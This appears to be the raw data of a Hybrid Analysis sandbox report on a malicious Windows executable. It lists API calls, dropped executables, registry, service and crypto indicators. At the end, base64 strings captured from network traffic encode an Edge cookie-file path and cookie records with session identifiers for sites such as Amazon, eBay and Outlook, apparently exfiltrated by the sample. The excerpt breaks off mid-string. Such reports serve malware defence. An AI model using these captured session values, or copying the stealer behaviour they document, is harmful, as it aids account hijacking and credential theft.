24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 94:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T467,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Malware Sample 815e73851b67… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 815e73851b67…. Malware family: Malware. Threat score 100/100. 8/28 AV engines flagged this file. 20 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077","keywords":["Malicious","Malware","malware analysis","sandbox report","threat intelligence","815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077"],"about":{"@type":"SoftwareApplication","name":"file.exe","applicationCategory":["peexe","executable"],"identifier":"815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Malware","antivirusDetections":{"malicious":8,"total":28},"behavioralIndicators":{"malicious":20,"suspicious":18},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T86c,"NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "FindResourceA" with parameter "18944632" - (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "FindResourceA" with parameter "18944640" - (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "FindResourceA" with parameter "18944668" - (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "FindResourceA" with parameter "18944880" - (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "FindResourceA" with parameter "18944696" - (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "FindResourceA" with parameter "18944852" - (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "FindResourceA" with parameter "18944864" - (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "FindResourceA" with parameter "13695748" - (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "FindResourceA" with parameter "18944748" - (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "FindResourceA" with parameter "18944844" - (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "FindResourceA" with parameter "13695744" - (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "FindResourceA" with parameter "18944712" - (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "FindResourceA" with parameter "18944720" - (UID: 00000000-00005808)26:Td9c,"NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18991232'}" (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18991088'}" (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18991248'}" (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18991136'}" (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18991104'}" (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18991152'}" (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18991200'}" (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18991072'}" (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18991184'}" (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18991216'}" (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18991168'}" (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '18991120'}" (UID: 00000000-00005808) "go3wz13.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '3917952'}" (UID: 00000000-00007876) "go3wz13.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '3917808'}" (UID: 00000000-00007876) "go3wz13.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '3917968'}" (UID: 00000000-00007876) "go3wz13.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '3917856'}" (UID: 00000000-00007876) "go3wz13.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '3917824'}" (UID: 00000000-00007876) "go3wz13.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '3917872'}" (UID: 00000000-00007876) "go3wz13.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '3917920'}" (UID: 00000000-00007876) "go3wz13.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '3917792'}" (UID: 00000000-00007876) "go3wz13.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '3917904'}" (UID: 00000000-00007876) "go3wz13.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '3917936'}" (UID: 00000000-00007876)27:T602,"NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00005808) "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP\ (UID: 00000000-00005808) "go3wz13.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00007876) "go3wz13.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00007876) "go3wz13.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP\ (UID: 00000000-00007876) "KN5EZ95.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00007608) "KN5EZ95.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00007608) "KN5EZ95.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00007608) "KN5EZ95.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP\ (UID: 00000000-00007608) "ny1qE70.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00001584) "ny1qE70.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00001584) "ny1qE70.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00001584) "ny1qE70.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP003.TMP (UID: 00000000-00001584) "ny1qE70.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP003.TMP\ (UID: 00000000-00001584)28:T461,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "RegisterWaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "CreateTimerQueueTimer" (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp")29:T683,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API "MpFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00000236.00000001.76476.725C1000.00000020.mdmp, 00000000-00000236.00000001.76476.72841000.00000020.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "CreateThreadpool" (Indicator: "CreateThread"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "CreateThreadpoolIo" (Indicator: "CreateThread"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp")2a:T6c7,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00000236.00000000.74556.0041B000.00000002.mdmp") Found reference to API "LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp, 00000000-00000236.00000001.76476.72855000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp")2b:T4c9,Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; File: "NEAS.NEASNEAS815e73851b67490ba866a92e59efe6acbdec4becf30772cf52107e14f56d0077exeexeexe") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000236.00000000.74556.03560000.00000004.mdmp, 00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "RegSetValueExW" (Indicator: "RegSetValue"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp")2c:T7ae,file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "WREQ0KOSK9O5sPY.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "WREQ0KOSK9O5sPY.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "clip64_1_.dll") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "clip64_1_.dll") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "4d21b3915218e5af_0") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "4d21b3915218e5af_0") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "7faaeb6d807041bb_0") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "7faaeb6d807041bb_0") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found string "%ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "WREQ0KOSK9O5sPY.exe.4143594902") Found string "%ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "WREQ0KOSK9O5sPY.exe.4143594902")2d:T14b6,file/memory contains long string with (Indicator: "SHA384"; File: "5tg3FW0.exe") file/memory contains long string with (Indicator: "HMAC"; File: "History") file/memory contains long string with (Indicator: "HMAC"; File: "000003.log") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to "MD5CryptoServiceProvider" (Indicator: "MD5CryptoServiceProvider"; File: "91NL8LQzC2Bqri4.exe.3456369258") Found reference to "ystem.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "Aes"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to "ystem.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to "RSACryptoServiceProvider" (Indicator: "RSACryptoServiceProvider"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to "AesCryptoServiceProvider" (Indicator: "Aes"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to "AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to "RijndaelManaged" (Indicator: "Rijndael"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to "RijndaelManaged" (Indicator: "RijndaelManaged"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to "MD5CryptoServiceProvider" (Indicator: "MD5CryptoServiceProvider"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to "CryptoConfig" (Indicator: "CryptoConfig"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to "CryptoStream" (Indicator: "CryptoStream"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to "CryptoStreamMode" (Indicator: "CryptoStream"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp")2e:T411,Found reference to API "ControlService" (Indicator: "ControlService"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to API "ChangeServiceConfig" (Indicator: "ChangeServiceConfig"; Source: "00000000-00000236.00000000.74556.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.05360000.00000004.mdmp, 00000000-00000236.00000001.76476.055E0000.00000004.mdmp, 00000000-00000236.00000001.76476.05770000.00000004.mdmp, 00000000-00000236.00000001.76476.06A30000.00000004.mdmp") Found reference to API ",3178,,ControlService,advapi" (Indicator: "ControlService"; Source: "00000000-00000236.00000001.76476.03560000.00000004.mdmp") Found reference to API "ChangeServiceConfigW" (Indicator: "ChangeServiceConfig"; Source: "00000000-00000236.00000001.76476.72651000.00000002.mdmp")2f:T4076,Contains base64 encoded string "RjBDNTM3MEU4MTZFMjM5NzcxMTk0Ng==" in [Source : PCAP] Contains base64 encoded string "ZDMzZTAxNGM2OGNjZmE4NWNkZGM5YzBkNWFjZWQyZTZjNDdlZTJkNGRiNGIyZGUzMjEwZWM3Mjk0MDA1ZDdjMg==" in [Source : PCAP] Contains base64 encoded string "ZXh0ZW5zaW9ucw==" in [Source : PCAP] Contains base64 encoded string "c3FsaXRlMw==" in [Source : PCAP] Contains base64 encoded string "Q29va2llcy9NaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==" in [Source : PCAP] Contains base64 encoded string "Lm1zbi5jb20JVFJVRQkvCUZBTFNFCTEzMzI5MzM2ODE3NzI3MTc2CV9FREdFX1YJZGpFd0ZLUHVYYUtrdnBQRVRZRHloVUwzSjQycG13N0tBRjZDU0VkMGZXQT0NCnd3dy5vZmZpY2UuY29tCVRSVUUJLwlUUlVFCTEzMzI3MTc2ODIzMTUwOTc5CU9ILkZMSUQJZGpFd3M4TmRHM0diVTNJTDVxQnhJYXk5NnFlRjQ1em5TVlowcTJxTk9qVjJweUtMSjFKUzNvWFZTaEs0TUIwc0tDc2I5UUU0aVZEMkl0ZTBUNnZpWndGLytRPT0NCi5mYWNlYm9vay5jb20JVFJVRQkvCVRSVUUJMTMzNTg3MTI4MjIyODU2ODEJc2IJZGpFd05KMGhHTDRoSWRCZ3hxSjZGV2VWdDNtZjR3NFN5Y1hBcjQ4ZnVhQ3didmRXRjc0R040cERMZ0JFTnp6QXhzL2NDMkVDV1E9PQ0KLmFtYXpvbi5jb20JRkFMU0UJLwlUUlVFCTEzMzI3MTc2ODIyMzEwOTcyCXNlc3Npb24taWQJZGpFd1lBK3NXRGQvOTNNOHh1WmNxeUUvb2YvekJraWhmQ2ErL0daOXdwR3laWHpjR01sd2d2Vld1UnNyd1N0dHd1Yz0NCi5hbWF6b24uY29tCUZBTFNFCS8JVFJVRQkxMzMyNzE3NjgyMjMxMTA1NwlzZXNzaW9uLWlkLXRpbWUJZGpFd0xkMHR5ZlBCT0tpVDdGOUhPVUEyaW9iZzdySHpTL016T2RsRnJhMytXamRabCtmSjdRK00NCi5hbWF6b24uY29tCUZBTFNFCS8JRkFMU0UJMTMzMjcxNzY4MjIzMTEwOTIJaTE4bi1wcmVmcwlkakV3Yk5qZld0cldMZEFEaTEzbVNMOXFTeXh0bnR3aCtIaGNxZGtoQmZvRWd3PT0NCi5hbWF6b24uY29tCVRSVUUJLwlUUlVFCTEzMzI3MTc2ODIyMzExMTI0CXNwLWNkbglkakV3SUdTK2hDYXZoY0NaYzlnRjl2bm9abGRzLzhpcFhMMWNLQU1xdi9jSW9YbEVweTlsU3c9PQ0KLmViYXkuY29tCUZBTFNFCS8JVFJVRQkxMzM1ODcxMjgyMjU4NTU5OAlkcDEJZGpFd08rekYxY2JKZnNZNjI0R3ZybXZpZVp2dEpqNGNFTzZyaW91VGMxTHdFZmNDYVVPa01sMnQwZDFLRUE9PQ0KLmViYXkuY29tCVRSVUUJLwlUUlVFCTEzMzU4NzEyODIyNTg1ODY4CW5vbnNlc3Npb24JZGpFdzlQTGZGVlNkaXVaalpsZmRLZmRKS09BS3BxeVN2UlArNmthRkFTbTFHVFE4QzU5NmxzQTlTUUsrVGF3Wnhta2kxM1ltRExRcmxkWWhSdTluUUh1ZkFGeldMMXM5RFBUSittWmJZV3l2dkgrWHloL0kySExUWTJiUi9UNDFyME1KeEJLN3lDWkpVYnJHV01KTW1YL0M1Zks5WDBxTTVPWGYyQVpEdE8zUVpwcjNQVm9EWW5mY3N3WGJkYStZeHF2VE8zcSswSTFKNkdKV3M5SnVzUT09DQpvdXRsb29rLmxpdmUuY29tCUZBTFNFCS8JVFJVRQkxMzMyNzE3NjgyMjY3OTI5OQlDbGllbnRJZAlkakV3Qlk4Z2pFS1lIUlZIenA3ZGdXbHEvZ1h0ZGRmMkV4K0xETDRaUElKaUhCdkYyRTBxbk92M3h1elRBdUtwaUlPNng1K3I0dmw1ajhPODUxOVkNCi51cHMuY29tCUZBTFNFCS8JVFJVRQkxMzMyNzE3NjgyNDIxNjczMglfYWJjawlkakV3cTFNWmVQbVdiQjFJZGh0NTVUOWVpNEcvZ3k1SjF0SDIwN09UbEhsS3lYQU5aT3gvZVBoU0crcWZmTWg3VmVPcFNxMW1id3ZicVRIdDNNK25oQmxYNUJGT09jcGxqSGtXVXlEek5VTTIrZ3QvWFo4SnpVTzZqMW9kSCtJNDdVaHIwUTRqMGoyekxKM1BoeGo4NERubUExSjN4SzdSZ0JucGJPeWJWdGswcTgrWXJ1YkdBamhlMVM1aHBQN05EOEhUaXRuQ0RHdmw5YUhGNzc2QWlPSGk1YnR5QWZyYlBxM0w5NWNsdU5HU1JKTVRYSmFMUTVYK1QyeG9xUEZERGRqeFoxU2VuQUNzR3A3dnlBdnNidXJjL1dwN0l6cVlLZVJqQWtqaVF0Z093NzNKVGdpRmZQQ01sdXZsZWJjSGRpaktYNXNCWWdoSjd2UHMxYUEzWHVhay9NdmVGZDF1RVdFeGY2S3ZSQU9tcnF6R2NEMGlub1ZOT0NTbjFYeTZKdHZvM0l3TmZ1dWJDOWhyaEJ0djI4cHh5OTg3S0c4Wk95MVd3L2I0Z21MTyt4dVp3Tld6S3lTcE44cU9rSVN0T2lsTHdYYlBqVUpCVXpCTG02SEdaQlZHNEdBUDZ4WktiSmgzNTlQaXZlMll6aGhmZUp0ZFovVldjQmtvQUhYd2h1VVRjTHdZVU1Fb0pBNnZwTzBjcy9RV2JDT2ZOZ25Vbnhtd1Y4TGV2UGZ0NDY2N3FDSStYKzZVVnhTR2VGVnhXZW1peDQ5cUk3Vy8zT0ZRRDluZkp2QTg1RE09DQoudXBzLmNvbQlUUlVFCS8JVFJVRQkxMzM1ODcxMjgyNTYwOTQ4Ngl1cHNfbGFuZ3VhZ2VfcHJlZmVyZW5jZQlkakV3YTRHTWQ5YjYzNkhMV1I0Y1NBczBPeTBsYWJQS05uSlNBLyt2U0tqWmtjdHINCi5tZ2lkLmNvbQlGQUxTRQkvCVRSVUUJMTM3OT